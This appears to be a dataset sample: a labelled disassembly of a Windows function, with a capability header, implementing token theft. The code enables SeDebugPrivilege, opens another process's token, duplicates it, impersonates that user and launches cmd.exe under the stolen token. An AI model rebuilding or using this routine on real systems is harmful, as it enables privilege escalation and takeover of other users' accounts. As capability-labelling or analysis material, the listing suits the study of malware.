Function at 0x140001410
Capabilities:
Acquire debug privileges
Create process on windows
Impersonate user

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x20], rax
lea rcx, [rsp + 0x68]
mov rbx, rdx
call fcn.140001230
cmp qword [rax + 0x18], 0x10
jb 0x140001447
mov rax, qword [rax]
mov rdx, rax
lea rcx, str.___Current_user_is:__s_n
call fcn.140001010
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140001495
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001490
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001490
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001d8c
mov rcx, qword [rbx + 8]
mov qword [rsp + 0x140], rsi
mov qword [rsp + 0x150], rdi
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xorps xmm0, xmm0
mov dword [rbp - 0x50], 0x68
xor esi, esi
mov edi, eax
xor eax, eax
mov qword [rsp + 0x50], rsi
mov dword [rbp + 0x14], eax
mov qword [rbp - 0x60], rax
mov qword [rsp + 0x60], rsi
movups xmmword [rbp - 0x4c], xmm0
mov qword [rsp + 0x58], rsi
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp - 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x58]
lea edx, [rsi + 0x20]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rbx, qword [rsp + 0x58]
lea r8, [rbp - 0x78]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x14000153a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____LookupPrivilegeValue_error:__u_n
call fcn.140001010
jmp 0x1400015ad
mov rax, qword [rbp - 0x78]
lea r8, [rsp + 0x68]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x6c], rax
mov rcx, rbx
mov dword [rsp + 0x68], 1
mov dword [rsp + 0x74], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14000158d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____AdjustTokenPrivileges_error:__u_n
call fcn.140001010
jmp 0x1400015ad
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____The_token_does_not_have_the_specified_privilege.__n
cmp eax, 0x514
je 0x1400015a8
lea rcx, str.___SeDebugPrivilege_enabled__n
call fcn.140001010
mov r8d, edi
mov edx, 1
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdi, qword [rsp + 0x150]
test eax, eax
jne 0x1400015e3
lea rcx, str.___OpenProcess___success__n
call fcn.140001010
jmp 0x140001606
mov rdx, rbx
lea rcx, str.____OpenProcess___Return_Code:__i_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcess___Error:__i_n
call fcn.140001010
lea r8, [rsp + 0x50]
mov edx, 0xb
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140001633
lea rcx, str.___OpenProcessToken___success__n
call fcn.140001010
jmp 0x140001655
mov edx, ebx
lea rcx, str.____OpenProcessToken___Return_Code:__i_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcessToken___Error:__i_n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400016f0
lea rcx, str.___ImpersonatedLoggedOnUser___success__n
call fcn.140001010
lea rcx, [rsp + 0x68]
call fcn.140001230
cmp qword [rax + 0x18], 0x10
jb 0x14000168e
mov rax, qword [rax]
mov rdx, rax
lea rcx, str.___Current_user_is:__s_n
call fcn.140001010
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1400016dc
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016d7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001d8c
lea rcx, str.___Reverting_thread_to_original_user_context_n
call fcn.140001010
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
jmp 0x140001712
mov edx, ebx
lea rcx, str.____ImpersonatedLoggedOnUser___Return_Code:__i_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____ImpersonatedLoggedOnUser___Error:__i_n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov r9d, 2
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0x18b
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140001757
lea rcx, str.___DuplicateTokenEx___success__n
call fcn.140001010
jmp 0x140001779
mov edx, ebx
lea rcx, str.____DuplicateTokenEx___Return_Code:__i_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____DupicateTokenEx___Error:__i_n
call fcn.140001010
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
lea r8, str.C:WindowsSystem32cmd.exe
xor r9d, r9d
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
lea edx, [r9 + 1]
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400017cc
lea rcx, str.___Process_spawned__n
call fcn.140001010
jmp 0x1400017ee
mov edx, ebx
lea rcx, str.____CreateProcessWithTokenW_Return_Code:__i_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateProcessWithTokenW_Error:__i_n
call fcn.140001010
mov rsi, qword [rsp + 0x140]
xor eax, eax
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140001d30
mov rbx, qword [rsp + 0x158]
add rsp, 0x130
pop rbp
ret